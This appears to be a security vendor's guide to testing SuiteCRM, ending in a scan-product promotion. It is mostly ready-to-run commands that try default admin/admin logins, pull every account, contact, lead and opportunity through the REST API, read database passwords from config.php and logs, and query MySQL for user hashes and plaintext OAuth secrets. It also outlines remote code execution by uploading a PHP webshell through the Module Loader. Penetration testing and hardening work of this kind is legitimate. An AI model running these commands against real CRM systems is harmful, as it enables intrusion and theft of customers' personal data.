SuiteCRM Security Testing: Default Credentials, API Token, Customer Data, and Database

SuiteCRM is the most widely deployed open-source CRM platform, used by businesses as a Salesforce alternative to manage customer accounts, contacts, leads, opportunities, campaigns, cases, and support workflows. Its PHP codebase and broad module ecosystem create multiple attack vectors. Key assessment areas: SuiteCRM defaults to admin/admin in many self-hosted installations; the REST API v8 (JSON:API) provides access to all CRM modules; config.php stores the MySQL database password in plaintext; SuiteCRM's PHP module upload feature can enable authenticated Remote Code Execution; and sugar.log may contain database credentials and API tokens written to disk during debugging. This guide covers systematic SuiteCRM security assessment.

Table of Contents

  1. Default Credentials and OAuth 2.0 API Authentication
  2. REST API CRM Data Enumeration
  3. config.php Credentials and Module Upload RCE
  4. SuiteCRM Security Hardening

Default Credentials and OAuth 2.0 API Authentication

# SuiteCRM — default credentials and OAuth 2.0 API authentication
SUITECRM_URL="https://crm.example.com"

# Test default admin credentials against the web interface
curl -s -c /tmp/suite_sess -b /tmp/suite_sess \
  -X POST "${SUITECRM_URL}/index.php" \
  --data "action=Authenticate&module=Users&user_name=admin&user_password=$(echo -n 'admin' | md5sum | awk '{print $1}')&return_url=" \
  -L 2>/dev/null | grep -i "dashboard\|home\|invalid\|error" | head -3

# SuiteCRM REST API v8 (OAuth 2.0) — obtain access token
# First create OAuth client in admin panel, then:
curl -s -X POST "${SUITECRM_URL}/api/oauth2/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "grant_type=password&client_id=YOUR_CLIENT_ID&client_secret=YOUR_CLIENT_SECRET&username=admin&password=admin" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'access_token' in d:
    print(f'ACCESS TOKEN: {d[\"access_token\"]}')
    print(f'Token type: {d.get(\"token_type\")}')
    print(f'Expires in: {d.get(\"expires_in\")}s')
else:
    print(f'Auth failed: {d}')
" 2>/dev/null

# Legacy REST API v4.1 — simpler login, still active in many installs
HASH=$(echo -n "admin" | md5sum | awk '{print $1}')
curl -s "${SUITECRM_URL}/index.php?module=Users&action=Authenticate" \
  -X POST --data "method=login&input_type=JSON&response_type=JSON&rest_data={\"user_auth\":{\"user_name\":\"admin\",\"password\":\"${HASH}\"},\"application_name\":\"test\"}" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Session ID: {d.get(\"id\")}')
print(f'Module name: {d.get(\"module_name\")}')
" 2>/dev/null

REST API CRM Data Enumeration

# SuiteCRM REST API v8 — CRM data enumeration
SUITECRM_URL="https://crm.example.com"
ACCESS_TOKEN="your-oauth2-access-token"

# Get all accounts (company records)
curl -s "${SUITECRM_URL}/api/v8/module/Accounts?page[size]=200" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Accounts: {len(data)}')
for a in data[:10]:
    attrs = a.get('attributes',{})
    print(f'  [{a.get(\"id\")}] {attrs.get(\"name\")} phone={attrs.get(\"phone_office\")} website={attrs.get(\"website\")}')
" 2>/dev/null

# Get all contacts — customer PII
curl -s "${SUITECRM_URL}/api/v8/module/Contacts?page[size]=200" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Contacts: {len(data)}')
for c in data[:10]:
    attrs = c.get('attributes',{})
    print(f'  {attrs.get(\"first_name\")} {attrs.get(\"last_name\")} email={attrs.get(\"email1\")} phone={attrs.get(\"phone_work\")}')
" 2>/dev/null

# Get all leads — sales pipeline data
curl -s "${SUITECRM_URL}/api/v8/module/Leads?page[size]=200" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Leads: {len(data)}')
total_value = 0
for l in data[:10]:
    attrs = l.get('attributes',{})
    print(f'  {attrs.get(\"first_name\")} {attrs.get(\"last_name\")} co={attrs.get(\"account_name\")} email={attrs.get(\"email1\")} status={attrs.get(\"status\")}')
" 2>/dev/null

# Get all opportunities — pipeline and revenue data
curl -s "${SUITECRM_URL}/api/v8/module/Opportunities?page[size]=200" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Opportunities: {len(data)}')
total = sum(float(o.get('attributes',{}).get('amount',0) or 0) for o in data)
print(f'Total pipeline value: {total:,.2f}')
" 2>/dev/null

config.php Credentials and Module Upload RCE

# SuiteCRM config.php and authenticated RCE via module upload

# config.php — MySQL database credentials in plaintext PHP
grep -E "db_password|db_host|db_name|db_user|site_url|unique_key" \
  /var/www/html/suitecrm/config.php 2>/dev/null
# 'db_password' => 'MySQL_Password'
# 'unique_key' — used in HMAC operations, treat as sensitive

# sugar.log — may contain database credentials during debug
grep -E "password|passwd|db_pass|credential" \
  /var/www/html/suitecrm/suitecrm.log 2>/dev/null | head -20

# MySQL direct access — user table with salted SHA-256 hashes
mysql -u suitecrm -p"DB_PASSWORD" suitecrm 2>/dev/null << 'EOF'
SELECT id, user_name, email1, is_admin, status, date_entered
FROM users
WHERE deleted = 0
ORDER BY is_admin DESC, date_entered
LIMIT 20;
EOF

# OAuth 2.0 client credentials from database
mysql -u suitecrm -p"DB_PASSWORD" suitecrm 2>/dev/null << 'EOF'
SELECT id, name, client_id, client_secret, is_confidential, allowed_grant_types
FROM oauth2clients
WHERE deleted = 0;
EOF
# client_secret stored in plaintext — enables API token generation for all users

# Module upload RCE path (authenticated admin required):
# 1. Navigate to /index.php?module=ModuleBuilder&action=index&type=module
# 2. Upload a ZIP containing a PHP webshell as a custom module
# 3. Module is extracted to custom/Extension/ or modules/ directory
echo "Module upload RCE path: Admin > Module Loader > Upload ZIP with PHP file"
echo "Post-upload access: ${SUITECRM_URL}/index.php?module=[ModuleName]&action=index"

SuiteCRM Security Hardening

SuiteCRM Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credential exploitationPOST /index.php with MD5-hashed admin password — full CRM access; all accounts, contacts, leads, opportunities, campaigns, cases, and OAuth 2.0 client credentialsCritical
REST API CRM data enumerationGET /api/v8/module/Accounts, /Contacts, /Leads, /Opportunities with OAuth token — complete customer database, contact PII, sales pipeline with opportunity valuesCritical
config.php MySQL credential extractionRead config.php — db_password in PHP array; MySQL access exposes full CRM database including all records and user password hashesCritical
Module Loader authenticated RCEUpload PHP webshell as ZIP via Admin > Module Loader — PHP execution in SuiteCRM directory as web server user; OS command executionCritical (admin required)
OAuth 2.0 client_secret extraction from databaseMySQL SELECT from oauth2clients — client_secret in plaintext; enables API token generation for any configured OAuth 2.0 client without admin credentialsCritical

Automate SuiteCRM Security Testing

Ironimo tests SuiteCRM deployments for default admin credential exploitation, REST API v8 and legacy v4.1 authentication testing, complete CRM account/contact/lead/opportunity data enumeration, config.php MySQL credential extraction, OAuth 2.0 client secret exposure, Module Loader RCE testing, sugar.log credential leak assessment, user password hash extraction from users table, and OAuth client enumeration from oauth2clients table.

Start free scan